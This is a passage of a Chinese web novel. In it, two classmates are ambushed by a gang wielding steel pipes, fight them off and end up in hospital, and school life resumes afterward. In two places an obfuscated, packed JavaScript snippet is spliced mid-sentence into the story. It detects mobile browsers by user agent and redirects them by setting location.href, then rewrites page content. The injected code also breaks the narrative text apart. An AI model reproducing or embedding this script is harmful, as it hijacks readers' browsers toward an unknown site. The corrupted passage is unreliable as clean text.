李斯年不留痕迹的撇开脸:“着凉了,嗓子不太舒服。” “啊,那我叫人送点感冒药来吧。”孟畅畅关切道。 “吃过了。”说着继续点手机、进入游戏。 包厢内的光线不亮、但也不算昏暗,几面大屏幕闪烁着光,还有头顶的灯球。 孟畅畅今天的妆容其实很适合这样的的场合,看起来明艳动人,只可惜面前的男生只知道盯着手机打游戏,目光从来没移到过她身上。 孟畅畅忘记了嘴上还涂着唇蜜,咬唇纠结片刻,还是决定问出口:“李斯年。” “嗯?”他头也没抬。 “我、我给你的那封信……” 隔壁桌突然响起起哄声,淹没了孟畅畅后面半句话。 只见肖宁枝被几个同学簇拥着推到这边来,她今天穿着一身简单的白色连衣裙,乌黑的直发用皮筋简单半扎着。 不施粉黛的脸蛋白皙透亮,此刻染着两坨羞涩的红晕,看起来更加惹人怜惜。 孟畅畅手指微微蜷缩、抓紧了手中的高脚杯。 她本以为自己今天从头到脚精致打扮过一番,又是生日派对当之无愧的主角,终于能短暂地比肩自己这从小玩到大的朋友、众人公认的级花。 但此刻孟畅畅恍然大悟,在天生丽质的女孩面前,任何多余的修饰都显得用力过猛,她还是会忍不住生出自惭形秽的心情。 来者挡住了光线,李斯年在游戏里正好被人一枪爆头,他抬起头,目光对上众人。 大家在兴头上,没人察觉到李斯年眼中一闪而过的不耐烦。 “愿赌服输啊,宁枝!”不知是谁笑着说。 肖宁枝鼓起勇气,看向李斯年,轻轻将手里的杯子往前。 李斯年:? “我玩游戏输了,惩罚是要找你、找你喝……”肖宁枝说到这里,脸更红了,这样娇柔的声音,孟畅畅要捏着嗓子才能勉强发出,但却是肖宁枝本身天然的声线,很适合她的声线。 “喝交杯酒!”起哄的同学接着说了下去。 方行舟“呜呼”一声,兴奋的连歌也不唱了,伸手推了一把李斯年:“交杯酒!交杯酒!” 声音被麦克风扩大,响彻整个包厢,李斯年终于看向面前的女孩,肖宁枝察觉到目光,连耳朵根都在发热,一双长睫毛忽闪忽闪,像是要哭出来。 其他同学也闻声过来凑热闹,在众多耸动的脑袋之中,几桌之外、沙发角落里,一个安静的身影变得格外引人瞩目。 球灯摇晃出暧昧迷离的光影,方行舟点的是周杰伦的情歌,此刻没有人还惦记着唱歌,音响里只剩下夹杂和声的伴奏: 我想就这样牵着你的手不放开,爱能不能够永远单纯没有悲哀—— 许之的身体有一半没于昏暗中,任凭这边如何吵闹,他只是埋头吃着面前那盘金灿灿的薯条,一旁番茄酱形状完好,看起来没有蘸过。 转校几天时间,这人似乎并没有和班上任何同学成为朋友,刚才来KTV的路上,也是安静跟在人群最末尾。 李斯年收回目光,弯腰拿起酒杯,与肖宁枝手里的相碰,发出一声清脆声响,在大家还没反应过来的瞬间,仰头喝完了饮料。 啧,果然还是太甜了。 围观人群发出失望的声音,不过毕竟都是同学,还不是油腻的成年人,游戏而已,没人真的要计较为难,于是也就算作惩罚完成,嬉嬉笑笑着散去。 “谢谢。”肖宁枝轻声说。 李斯年摇头示意不用,重新坐下来打游戏。 肖宁枝离开,不过多久,孟畅畅也被黄锦婷和王雪菁拉去切蛋糕。 或许是包厢的网不好,李斯年打 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李斯年点进微信,发现昨晚添加的那个白色头像已经菁菁躺在对话列表里。 对话框很干净,只有一句系统提示:你已添加许,现在可以开始聊天了。 李斯年心里突然冒出些无名火,也不知道是冲着谁。 许之去哪了、认不认识回家的路,关他屁事? 肯定是被这家伙温顺怯懦的模样影响了,自己刚才有瞬间,竟然下意识觉得应该要照顾他。 李斯年轻哼一声,把手机丢进口袋,往大门处走去。 来到大门前,没看到江叔的车,李斯年这才想起来,因为名流KTV在主干道旁,管控严格不让路边停靠,所以江叔就把车停在地下车库了。 他回头,正想折返去乘KTV内部电梯去地下车库,随即瞧见化学课代表魏旬和班长黄锦婷一起走出来,看样子是要去前台旁的小卖部加购零食饮品。 李斯年赶紧跨步出门,往隔壁便利店外玻璃旁一躲。 如果被看到溜走,少不得又要被抓去那个封闭的噪音制造室呆一下午了。 见二人推着购物车,看起来要大拿特拿,李斯年想了想,还是绕点路,从外面的入口去地下车库吧。 午后的阳光热烈,将大地烤的往外不住地冒热气,车库的入口在KTV大楼的后面,李斯年沿着楼边狭窄的阴处快步绕向了楼的左边。 走了十多米,脚步骤然顿住。 这是一条不过两人宽的小巷,右手边是高楼、左手边是一人半高的围墙,边沿还包着防盗的倒钩铁丝网。 钱霆穿着无袖背心,小麦色的皮肤大片裸露在阳光下,他左手叉腰,右手拿着一根钢管,随意的搭在肩上。 “哟,真巧,在这遇到了。”钱霆咧嘴。 巧个屁,李斯年转身想走,却见身后不知何时也站了四五人。 这些人明显和上次钱霆在校内带的学生小弟不一样,一看就是打架经验丰富的那种社会青年,眼神里满是挑衅,人手一根钢管,将李斯年的后路堵得死死。 “现在知道怕了?”钱霆挑眉,笑得更开心了,他走上前两步,高大的身形挡住阳光,阴影笼罩着李斯年。 “想走?晚了!” 5. 危机 李斯年转过身面向钱霆,背在身后的手暗暗握紧了,但语气还是惯常的模样,听不出紧张:“打不过就摇人,丢不丢脸啊?” 钱霆满不在乎:“我知道你们学霸会说话,随便你讲,反正等下屁股开花的又不是老子!” 说着,钢管从肩上移开,轻轻敲打在左手心。 钱霆最看不惯的就是李斯年这种淡定里透着嚣张的模样,像是一切尽在掌握。 上次害得他遭亲舅舅狠训了一顿,接连三四天都被按在办公室听着天书、写那些看不懂的卷子。 这些,再加上那个到嘴边没吃上的漂亮男孩,今天就一起算总账! 钱霆往前逼近,就看到李斯年的脸色起了变化。 像是极力掩藏的惊慌终于忍不住浮出水面一样,这让钱霆心中大快:“没想到啊李斯年,你还有知道怕的一天?” 他右手一抬,冰冷的钢管贴在李斯年脸侧,满意的看到对方眼中满是颤抖与退缩。 钱霆勾起笑,“你这张脸不错,等会爷爷我留个心,不给你弄花了。” 如今二人距离不过半臂,就在钱霆还想再嘲讽几句时,却见李斯年猛然抬起眼。 一双眼漆黑深邃,哪里有半点害怕的模样? 钱霆心中一咯噔。 “行啊,如果你有机会的话。”李斯年勾唇一笑,右手飞快攥上钢管! 钱霆以为他要推开,于是往前给劲,没想到对方竟然顺着他将钢管往身后一带,二人距离拉得更近了。 “看来那些混混流氓没教你,拿着家伙,就要学会保持距离。” 说罢,身形向左微侧,勾拳砸中了钱霆下巴! 钱霆痛得几乎眼前一黑,他挥动钢管,想要回挡对方的下一击。 不料挥了个空,再定睛一看,李斯年竟然毫不恋战,转身直向着巷子深处狂奔而去! 今天被叫来助阵的几个混混不像那天学校里的小弟稚嫩,无需钱霆开口,有四人已经追了上去。 剩下一人扶住钱霆:“没事吧?草,这小子还真有两下子!” “呸!”钱霆侧头吐出一口带血的唾沫,牙齿咬得咯咯响,“看今天老子不废了他!” 李斯年铆足了力气狂奔,他一开始就没想和这群人打。 双方人数差距大、对方有打架的经验、手里还有家伙,他自知肯定不是对手,于是决定佯攻一招然后跑路。 只可惜这一片的巷子他并不算熟,遇到岔路只能凭借本能转弯,转来转去竟然还没有看到出口。 李斯年脚下不停,侧头用余光向后瞟。 可恶,对方咬的太死了!这样根本甩不开! 又一个拐角,李斯年正要右转,突然,小腿肚传来一阵闷痛。 原来是追在前面的寸头把手里的钢管甩了出来,正中了他的左腿! 这一下虽不至于叫人立刻摔倒在地,但终究是拖慢了几步,李斯年咬紧牙关不敢松劲儿,手撑了一把墙壁,拐了过去。 “给老子站住!” 叫嚣声越来越近,头顶的太阳明晃晃,照得人头晕目眩。 李斯年上午在教室里睡觉,滴水未进,醒后就直接来了KTV,又被迫喝了一杯甜得发腻的饮料,此刻只觉得嗓子又干又疼,直往外冒血腥气味。 过了拐角,巷子变得更窄,右侧堆放着一排沾满脏污的绿色半人高垃圾桶,李斯年跑了几步,眉眼一凛。 好像走进死胡同了…… 他深呼吸,扫视四周,试图寻找出路,但除了墙角一个狗洞外,的确再没有路可走了。 高墙无法徒手攀爬、狗洞大小尴尬,若是钻不过去被卡一半,那可真是又丢人又再无还手之力了。 李斯年心一横,做好了硬碰硬的觉悟。 前方脚步声越来越近,李斯年也顾不上脏不脏,伸手就往在垃圾桶上层一乱找,试图拿到什么趁手的家伙。 但这里除了KTV的厨余垃圾,就是一些便利店的纸箱子、塑料包装,一个能用的都没有。 李斯年骂了声:“草,连啤酒瓶都没有的吗?” 话刚说完,突然手腕一紧,他还未惊出声来,整个人便被带入了垃圾桶后方! 身后一阵重物挪动的声音,李斯年来不及抬眼确定对方是谁,便感到肩膀一沉,有人按着他,迫使他蹲下身来。 巷内追赶的脚步已至。 李斯年刚要开口,就被一双微凉的手捂住了嘴。 只见许之极漂亮的眉眼近在咫尺,他似乎是刚从有冷气的地方出来,衣间发梢都透着凉气,微垂的眼角不像往日那样懦弱,而是盛着一汪凛冽的寒光。 “你怎么会在这?!”李斯年惊讶至极,差点没压住声音。 许之抬起手指压在唇边,简单解释了句:“在便利店里看到了。” 随后就转过身去。 李斯年脑子有点发蒙,所以许之是看到钱霆来找自己麻烦,所以好心绕过来帮忙了? 可是就他这细胳膊细腿、弱不禁风的模样,怎么打得过这么多人啊。 还不如直接报警呢! 不由李斯年多想,垃圾桶外侧,钱霆带着暴怒的声音响起:“妈的,人呢?!” “拐过弯来就不见了。”是另一个混混,他走了几步,开口,“这有个狗洞,是不是钻过去了?” “那你倒是过去看看啊!难道还要老子来?”钱霆给了那人屁股一脚,说起话来很是不客气。 听声音,有一个混混钻了狗洞,过程似乎有点艰难,但最终人还是过去了。 李斯年心中紧张,下意识看向许之,但对方面朝着垃圾桶、背朝自己一动不动,也不知道在想什么。 天气炎热,这垃圾站地处偏僻,看上去已经有好几日没有清理过了。 垃圾桶内的东西早就开始腐烂,腥臭的液体顺着流了满地,无数苍蝇盘旋其中,嗡嗡作响。 李斯年忍不住蜷缩身体,想尽可能离那些沾满污秽的垃圾桶外壁远一点,但许之却似乎不太介意,半蹲的姿态甚至算得上松弛。 一截露在衣领外的后颈,像是白瓷釉。 这细皮嫩肉的,就不怕被苍蝇叮么。 李斯年伸手扯住对方衣领往上一拉,将后颈盖住。 许之侧过头:? 同时,外面传来声音,“钱哥,那边是块拆迁空地,没看到有人影!” 李斯年压低声音:“那个……” 许之没吭声,只是抬了抬下巴,示意在听。 “等下你先出去吧——” 许之沉默着点了头,正要转回去,李斯年继续开口:“我负责把这些家伙都拖住,你只管去报警!” 许之回转的头莫名一顿。 还是没有开口。 李斯年有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401217|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点着急,钱霆已经在叫人挨个搜垃圾桶了,很快就会被发现他们躲在这里,于是伸手拍了拍许之:“听到没啊?” 许之终于轻声“嗯”了。 李斯年深呼吸准备,顺便往后挪了挪身位,方便许之从这排垃圾桶的遮掩下悄悄溜走。 没想到对方却在下一秒猛地站了起来,抬脚就踢翻了面前的垃圾桶! 钱霆被这动静吓了一跳,待看清楚是许之,浑身的警惕又松了下来。 他也瞧见了同样站起身的李斯年,眼睛一转,露出自以为睿智的笑容,“怎么回事,你们是一对?” “你以为谁都跟你一样是变态?”李斯年骂道。 “行行行,我是变态。”如今人已经被自己围死,钱霆也不恼怒了,轻佻的用钢管挑起许之的下巴,“等着,老子收拾完人再来找你。” 说完,径直掠过许之,右手扬起钢管,手臂青筋直冒,照着李斯年脑袋猛地一抡。 “啊!” 与惨叫一同响起的,是塑料碎裂的声音。 李斯年顾不上腥臭、就地一滚,抬头就见钱霆手中的钢管打在了垃圾桶盖上。 钱霆脸上浮现出疑惑神色,自己这一棍根本没打到李斯年,惨叫哪来的? 他循声想回头,余光瞥见冷光一晃,随即后背剧痛,被粗厚的钢管横向击中! 钱霆压制住痛呼,防止嗓子里血腥气再往外冒,紧接着反身一抡,又快又狠。 他钢管的高度拿捏准确、非常刁钻,对方若是横向躲闪肯定来不及,而蹲躲则必然被击中脑袋。 果然,随着一阵结实到肉的手感反馈——钢管打中了人。 但对方竟然一声不吭,就这么硬生生的接下了! 钱霆错愕抬头,正对上许之冷漠的脸,碎发遮住他平日里柔和的眉毛,剩一双黑漆漆的眼。 钱霆打过很多架、见过许多打架中的人,这眼神他很熟悉。 是不要命的眼神。 “狼崽装成小白兔,你他妈藏得够深。”钱霆咬着后槽牙骂道。 “是你瞎。”许之轻轻吐出几个字,手臂夹紧,另一只手向钱霆腹部猛击! 钱霆侧身要躲,右手忽然手心一凉,钢管被抽得脱手。 许之头也没回,将钢管往右后方一丢,滚落在李斯年脚下。 “你真的挺不错,要不要考虑跟我混?”钱霆擦了擦嘴角的血,直勾勾的看着许之,目光从他抿着唇一路挪到单薄的锁骨。 “没兴趣。”许之说着,一边慢步后退。 在刚才钱霆一心想要揍李斯年时,许之趁身后小混混没防备,将对方打倒在地,使得完整的包围圈出现了一个豁口。 此刻李斯年手攥着钢管,死死守在豁口处,威慑着一旁的混混不敢轻易出手。 眼看许之还有两三步,就能到他身边了。 钱霆眼神忽然撇开,李斯年心中一咯噔,正要前跨半步,却见右侧一个混混骤然发难,钢管直向李斯年左腹部戳去! 李斯年不得不往侧边一闪,抬起钢管来挡。 钢管相触,尖锐的摩擦声叫人牙根一软! 李斯年虎口震得发麻,用尽全力才没脱手,但不待他还击,耳边就传来“咚”的一声,夹杂着许之的闷哼。 李斯年一回头,就见钱霆不知怎么拽上了许之的衣领,将他整个人撞到了左侧围墙之上! 6. 脱困 钱霆侧过脸,狞笑着向李斯年,“我承认,你俩是挺会打架的,可惜只是速度不错,力道上却差了太多。” 说着,他右手收紧,慢慢向上抬,许之感到窒息感渐渐漫了上来,攥紧的拳头微微颤抖。 “你要找的人是我,和他没关系,放他走,我留下就是了!”李斯年沉声道。 钱霆摇头:“不对不对,从最开始算,事情还是因为这小子而起的。” 钱霆控制着手劲,让许之处于一个不至于被勒死、但又极度难受的状态,然后饶有兴趣的看着李斯年着急的模样。 “为了一个刚转校没多久的同学做到这份上,我从前怎么没听说你李斯年是这种大圣人?” 李斯年不想纠结于这个话题,“你到底怎样才肯放人?” 钱霆盯着他看了两眼,挑眉往一边撇嘴,示意他把手里的东西丢掉。 李斯年目光沉沉,松开了手中的钢管。 “这才乖嘛。”钱霆一笑,手松了半分,让许之的后脚跟得以着地。 “其实我们也没什么深仇大恨,你服个软认个怂,我心情好起来,这事儿说不定就过去了。” 李斯年问:“你的意思是要我道歉?” “如果刚才你们俩没对我动手,说句‘对不起’或许还有用。但现在嘛……”钱霆哈哈大笑,看得出来他对这种折辱人的事儿非常乐在其中,“叫声爸爸来听?” 李斯年眉心一跳,咬紧了下唇。 “怎么,这么容易都不肯做?我已经足够好心了。”钱霆有些不满。 李斯年沉默。 钱霆倒也不恼怒,又说:“不愿意叫爸爸,那妈妈也行啊。” 说完,又夸张地“啊”了一声,假装懊恼,嘴边却勾着极其恶意的笑,“真不好意思,我忘了,你早就没妈了。” 李斯年本就是学校的风云人物,育德学校又是初高一体化,同校四五年,他的家庭情况早就不是秘密了。 这句话彻底把李斯年给点着了:“你他妈的找死么?” 他猛地向往钱霆冲去,可旁边混混早有防备,抬脚就踹了上去,李斯年一声闷哼,半跪在地,双手立刻反剪着向后制住。 “我只是陈述事实,你急什么?本来叫声‘爸爸’就能解决的事情,又被你弄得更复杂了。让我想想,还有什么法子能叫我消消气呢?” 钱霆摇头晃脑时,目光瞄到了许之,心思不由得又飞了过去。 这小子长得可真好看,他就没见过眼睛这么会勾人的家伙,男人女人都没有,更别说此刻一脸倔强凶狠的表情,看着更带劲了。 想到这里,他双眼一眯,有些猥琐的凑近,许之侧过脸去,钱霆便顺势在他耳边嗅了嗅。 “不愧是美人,汗都是香的啊。” 李斯年听着钱霆这句捏着嗓子色眯眯的话,只觉得心里说不清道不明的厌恶。 他猛地一挣,却被身后的混混压的更死,几乎是跪趴在地,连头都抬不起来了。 这样下去不行…… 李斯年盘算着,右手五指合拢,无声地包裹住了左手手腕。 然后扬声挑衅道:“钱霆,你整天只会对着男人口嗨,是不是不行啊?” 无论什么年纪的男人都最听不得这两个字,果然,钱霆脖子一僵,也顾不上调戏美人了,扭头就往李斯年肩上踹了一脚。 “你都跪这了,还放狠话呢?”钱霆恶狠狠道,“这小子到底是你什么人啊,这么护着?” “我不是护他,我是恶心你,我恐同不行啊?”李斯年不想提自己和许之的关系。 原因无他,只是觉得麻烦,被知道了就要被提及,会有人问、需要解释。 都很麻烦。 钱霆眉眼一耷拉,是动了怒,他冲旁边的人沉声问了句,“带家伙了么?” 其中一人点了头,掏出把弹簧小刀递过去,钱霆冲混混扬了扬眉,李斯年下一秒就觉得背后一凉,上衣被掀了起来。 “你想干什么?!”李斯年怒道。 “给你刻点字,好叫你记得教训,饭可以随便吃,话不要随便说。” 钱霆将冰凉的刀背贴在他背上,顺着脊椎来回滑动,阴毒的说:“就刻‘我没妈’,怎么样?” 李斯年垂着头,绷紧了背,没开口。 “我真刻了啊——” 钱霆将刀立起来,尖头向下,小少爷细皮嫩肉,接触皮肤的地方很快就冒出了血珠。 但李斯年还是不吭声。 钱霆原本还指望着听到李斯年的求饶,或是于事无补的破口大骂也不错,但这样沉默,倒叫他的乐趣少了大半。 于是钱霆蹲下身,钳着李斯年的下巴,要看他憋着怎样一张难堪受辱的脸。 却见对方眼中忽然闪过一丝精光。 钱霆万万没想到,这小子事到如今还有心思耍花招,他手正要发力,忽然听到身后同伴传来痛呼,随即是接连倒地的声音。 钱霆因此分心一瞬,终究是慢了动作。 李斯年眼疾手快,抓住这个空隙,双手握拳翻转,借着肘部的力量,猛地挣脱了束缚。 然后整个人向前冲去,一头撞到了钱霆胸前! 钱霆重心不稳,不得不腾出手来后撑在地。 李斯年正想抓住机会给上一脚,却见一个身影更快地闪了过来,手里的长条状物体在阳光反射之下发出刺眼的金属光泽。 许之双手持钢管,从背后往钱霆脖子上一卡,双手往怀里收紧,死死勒住了对方的脖子! 钱霆半躺在地,挣扎着想去抓许之的手臂,而许之双手紧抓钢管,整个身体猛地向后仰去,并不粗壮的手臂爆发出难以想象的力量。 钱霆瞬间被勒得额角青筋直爆:“你、你……” 骂人的话卡在喉头没能说出口,化作一丝濒死的呻吟,很快连双眼也往上翻去。 “操!别真弄死了!”李斯年急道,往前几步,抓住钢管想往外松劲儿。 但许之力道很大,李斯年一时间竟很难抗衡,于是手用力按在他手背上,喊他的名字,“许之?许之!听到没!” 许之扬起的头蓦的回转,眼里还是尚未完全收回的狠劲。 “松手!”李斯年又喊了声,许之这才回过神来,钢管哐当一声掉落在地。 “少爷!”巷口响起江叔的声音。 李斯年松了口气,终于来了。 他手探到已经昏过去钱霆的鼻下,尚有呼吸。 江叔带着五六个保镖过来,急得一头汗,向李斯年关切询问:“有没有受伤?” 李斯年摇头,看向许之。 恐怕他受伤要更重些。 江叔立刻会意,叫人将许之架了起来,要送两人去医院检查。 “这些人……怎么处理?”江叔犹疑道。 几个混混包括钱霆都已经被许之放趴下了,难怪江叔欲言又止,这满地躺倒的狼狈模样,还真分不清到底谁才是主动挑事的那一方。 “是他们先动手的,正常报警就行。”李斯年说。 - 二人到医院,刚进诊室,李宇的电话就打过来了。 “你跟人打架了?”李宇语气不佳,默认是自己儿子先挑起的事端。 李斯年不想解释,只是“嗯”了一声。 “许之怎么也掺和进去了?”李宇压低嗓子,满是告诫,“你别是趁着我和许阿姨不在,瞅着空,专门找人去欺负人家!” 这话倒是提醒了李斯年。 他回想起自己刚出ktv大门,拐角就遇到钱霆,世上哪来这么巧的事情?况且对方明显有备而来,手里拿着家伙,还叫了人。 但钱霆怎么会知道自己今天会去ktv,又怎么精准掌握了他离开的时间? “怎么不说话了?”李宇的质问打断了他的思考:“被我说中了?!” 李斯年不耐烦道:“你是不是脑子有点毛病,若真是我找的人,我何必还要叫……” 说到这里,他猛地一顿,转了话头:“再说了,我可没本事欺负他。” 李斯年瞟了眼帘布之后的许之,他背对着这边,似乎没在听自己讲电话。 从这个角度,能看到许之半边肩背,上衣脱掉了,人是真的挺瘦的,肩胛骨轮廓分明,后背上有些许擦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401218|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤。 腰间被结结实实抡了一钢管的地方比较严重,骇人的长条状淤青由浅到深往外蔓延,叫人看一眼就觉得疼,等下还要去拍个片子看看有没有伤到内里。 手臂上是钱霆留下的血淋淋的抓痕,整个人坐在那儿就像是个破碎的白布娃娃,任由两个护士摆布上药,看着实在有点惨。 但李斯年此刻脑海中挥之不去的却是他刚才打架时下手快准狠、眼睛都不眨的狠绝模样。 李斯年掌握的那些格斗招数都是为了寻找逃跑机会,但许之明显不同。 他出手没什么章法,不像学过,更类似于熟能生巧的野路子。 而面对钱霆那一个横劈的钢管,没有选择躲闪、而是迎了上去,以受伤为代价,去换卸下对方武器的机会。 简直是亡命徒的打法。 什么听话乖巧,什么懦弱柔顺,全是装的啊。 李宇还在电话那头发出愤怒的指责,李斯年懒得再听,丢下一句“不信你们回来问他”就挂了电话。 许之全部检查做完,还好没伤到骨头和内脏,江叔送二人回家时,许茜的电话也打了过来。 车内很安静、许之的手机款式老旧,隔音效果并不好,李斯年断断续续听到许茜说了一箩筐关心的话,许之只是偶尔应声,再问就是“没事”。 到家时已经是傍晚,夕阳染红天边一线,浓烈而灿烂,但开门进屋后,阴凉的气息还是扑面而来。 李斯年已经习惯了,屋子大、人少就是这样。 李倾诺不在家,或许是周末和朋友出去玩了,赵婶这几天老家有事请了假,放心不下家里几个半大的孩子没大人管,还专门做了些荤素搭配又耐存储的食物在冷冻层,叮嘱他们微波炉叮一下就能吃。 某种程度来说,赵婶比李宇更像是这一屋子人的家长。 毕竟李宇不会操心这些细枝末节,他觉得钱能解决一切。 李斯年去冰箱拿食物,听到身后许之拖着脚步上楼梯。 “你不吃晚饭啊?”李斯年问。 许之头也没回,冷淡的“嗯”了声,脚步不停。 这是两人打完架之后,正儿八经说的第一句话,很明显许之向李斯年展现真实性格之后,也没打算再装回从前顺从怯懦的模样。 李斯年顿时有点不爽。 他原本回家一路上都在纠结,想跟许之说声谢。毕竟人家能出现在那个死胡同,大概率是在大路口看到他被钱霆堵了,所以专程抄小道钻狗洞去的。 要不是为了帮他,也不至于落得这样一身伤。 但因为上次学校树林外,许之的道谢被他给怼了回去,所以又觉得有点难以开口。 李斯年原本想着吃晚饭时找个由头提,没想到刚开口就先热脸贴了冷屁股。 明明一直以来装模作样、把周围人骗的团团转的人是他,自己还没找他算账呢。 李斯年心中那点谢意霎那间荡然无存,他这人向来憋不住话,想到什么就要问出来:“你这么能打,那天在学校树林里怎么不反抗啊?” 许之脚步一顿,侧过头,整个人被楼梯的阴影淹没,他开口,声音听起来莫名有些遥远,像是被雾笼罩着:“反抗,有用吗?” “有啊,上次要不是我救你……” “但今天钱霆还是找过来了。”许之打断他。 李斯年不懂这是什么歪理:“那说明上次庄主任的威力还不够,这次钱霆和混混们都抓进警察局了,肯定会被狠狠教训一顿,以后就不敢再找我们麻烦了啊。” 许之半晌没说话,只是看着站在灯光下的李斯年,忽然觉得这也算是一种命运馈赠的天真。 “不是每次都能这样。”许之说完,继续往上走。 李斯年听得莫名其妙,追问道:“那今天为什么出手帮我?” “钱霆有句话说得对,这事是因我而起,我不喜欢欠人情。”许之走到卧室前,手搭在门把上,“问完了么?” 许之说完,根本没想等对方回答,房门砰的一声关上了。 真是个怪胎,李斯年心想,真想撬开他的脑袋瓜看看,里面到底装的是什么。 7. 喂猫 接下来一周都没见到钱霆,连带着校外的混混都少见了。 再遇到钱霆时是在一次大课间,他脸颊明显瘦了点,见到李斯年的目光还是愤愤,但到底是连口头招惹都没有了。 李家在江城还是很有名望的,江叔报警后都不必刻意强调什么,只需正常登记姓名,派出所自然有人会彻底整治这群敢光天化日之下围殴李家大少爷的混混们。 李宇不是个好父亲,但就连李斯年也不得不承认他是个有手段的商人,白手起家能做到如今强压同行一头的程度,已成为人人口中热议的业界传奇。 而且李宇从前当过兵,人脉广,十分善于交际,年年拿省优秀企业家的名号,与官场打交道也是游刃有余。 有这样的父亲和家底,恐怕在所有人眼里,李斯年都是好命的大少爷。 只是他本人已经在很小的时候就已经明白了“冷暖自知”这个词的含义。 月底的摸底考试将近,美术、音乐、体育这些科目的老师都很有默契地在他们该出现的时候隐身了,这些课被轮流替换成语数外物化生。 宝贵的课间十分钟也常因拖堂而压缩的只剩一两分钟,去厕所都要先祈祷今天可别又排队。 而“抓紧复习”这几个字向来和李斯年沾不上边,他看起来每天过得还是悠悠然然,某天中午吃完饭后,多捎了瓶汽水回教室,放到方行舟桌上。 “又?”方行舟瞬间了然,拧开瓶盖,清凉的气声从瓶口冒出来,“摸底考试可就在下周了,现在美音体都被霸占了,你怎么往外跑?” 李斯年扬眉看向黑板右侧今日课表,下午第三节,信息技术课。 方行舟咧嘴一笑:“得咧,正好连着晚饭时间,您也不用着急忙慌赶下一节课。” 李斯年拍了拍方行舟的肩膀,语调抑扬顿挫:“知我者,方舟也。”然后将前门带上,又滴滴几声把角落里的刚修好的空调按到16度,回到座位准备午睡。 高三是个重要的阶段,班上学生几乎都是吃完午饭后回家睡觉,这样能睡得好点,便于下午和晚上保持精神。 不过李斯年懒得两头跑,中午向来都是睡教室,方行舟妈妈这两天在外地跑业务,他便也没回去。 李斯年把长袖校服罩在头上遮住光,手臂微曲,趴在桌上,睡意逐渐积累,在即将睡沉时,身后忽然传来不大不小的“咔哒”一声。 李斯年的瞌睡虫瞬间被惊得四散,不得已又清醒了起来。 是身后的许之在缓慢的扣上不锈钢小饭盒。 李斯年向天发誓,他没有故意要关注许之,只是每天中午、晚上的饭点,教室里空得太明显。 而只有许之一个人不去食堂,坐在空荡的教室里,拿出自带的小饭盒,就着白开水吃里头的东西。 现在天气还热着,能中午吃完、晚上再吃的,自然不是什么精致丰盛的菜肴,大概就是些便于储存的鸡蛋、红薯、玉米之类的。 怪不得人这么瘦。 李斯年觉得奇怪,许茜千方百计傍上李宇、又住进家里宣示主权,以李宇的个性,肯定不会在经济方面短了许茜。 难道她不给许之足够的钱吃饭?这可是她的亲生儿子。 只是这些疑问李斯年只是心中想想,不会去问谁,他觉得上次打完那一架后,自己和许之之间变得更加微妙了。 从前他觉得人家是个跟着妈妈吃软饭的包子,一心想把人赶出去。 但在发现许之跟洋葱似的,剥了一层又有一层,还辣人呛眼睛之后,李斯年莫名生出些不甘心来,像是原本属于他的主动权被夺走了。 许之看他,是一眼从里看到外,心思昭然若揭明明白白;他看许之,就是看不透。 这样不行。 年轻气盛高中男生的好胜心冒了出来。 李斯年心想,就算把许之赶出去,也要先把他弄清楚看透彻了,最好再让他吃个瘪、露个怯,夹着尾巴走出自家的门。 又一阵窸窸窣窣的声音,应该是许之把饭盒放进抽屉,又摸出卷子还是草稿纸之类的出来,拿笔刷刷开始写。 六班这种学霸云集的快班里,向来不缺勤奋的身影,但许之在其中仍然算是佼佼者。 他上课听的认真,下课和自习时间不是去厕所就是在做题,瞧着速度也不算慢,不知哪里来的那么多题目能做。 恐怕是除了老师布置的之外,还自己额外买学习资料了。 李斯年突然有点好奇这次摸底考试他能考第几名…… 这么努力,估计是因为没信心吧?考试范围内有很多知识点都是他没学过的,肯定是担心考砸了。 砸了正好,等分数和排名出来,自己正好有机会嘲讽几句,看他是什么表情。 这样乱七八糟想了一通,李斯年心情愉悦的进入了梦乡。 - 夕阳在天边蔓延铺开,李斯年逃课去了趟中心医院,坐公交车回来时,大路对面育德学校晚餐休息时间的广播音乐不算清晰地传到耳里。 跟着他下公交车的还有一个稍矮的女孩子,她扎着低马尾,厚厚的齐刘海挡住额头,隐约可见下面贴着白纱布,将左侧刘海顶的高了些。 江城的傍晚,一点风都舍不得起,李斯年后背被汗浸透,衣服湿哒哒的贴在身上,面上却没有不耐的神色,带着女孩又往前走了会儿,来到一个巷口。 “记得过几天按时换药啊,梁芷。”李斯年抬抬下巴,示意自己就送到这里。 梁芷站定,头微微抬起。 “斯年哥,我妈准备饭了,说叫你一起吃。”她说完,飞快的扫了一眼李斯年从下巴滑落的汗珠,又补了句,“家里还买了冰棍儿。” 李斯年答应的爽快:“也行,走吧。” 巷子不宽,不能走轿车,两辆自行车相对而来时,还得其中一个人先停下,靠边贴紧,另一人才能过去。 没走多久就来到一个三岔路口,三岔巷子的得名就源于此,往左再走十几米就到了。 梁芷掏出钥匙打开门,狭窄的长形院子里堆放着整齐的杂物,屋内的人听到动静,声音夹杂在抽油烟机嗡鸣里传出来。 是梁芷的母亲,孙家娟:“回啦?” 李斯年扬声应了,随梁芷一起换鞋入内。 屋子不大,客厅和餐厅合二为一,坐在餐桌上还能顺便看电视,梁芷去厨房帮忙端菜,李斯年驾轻就熟的打开冰箱冷冻柜,拿出根小布丁来。 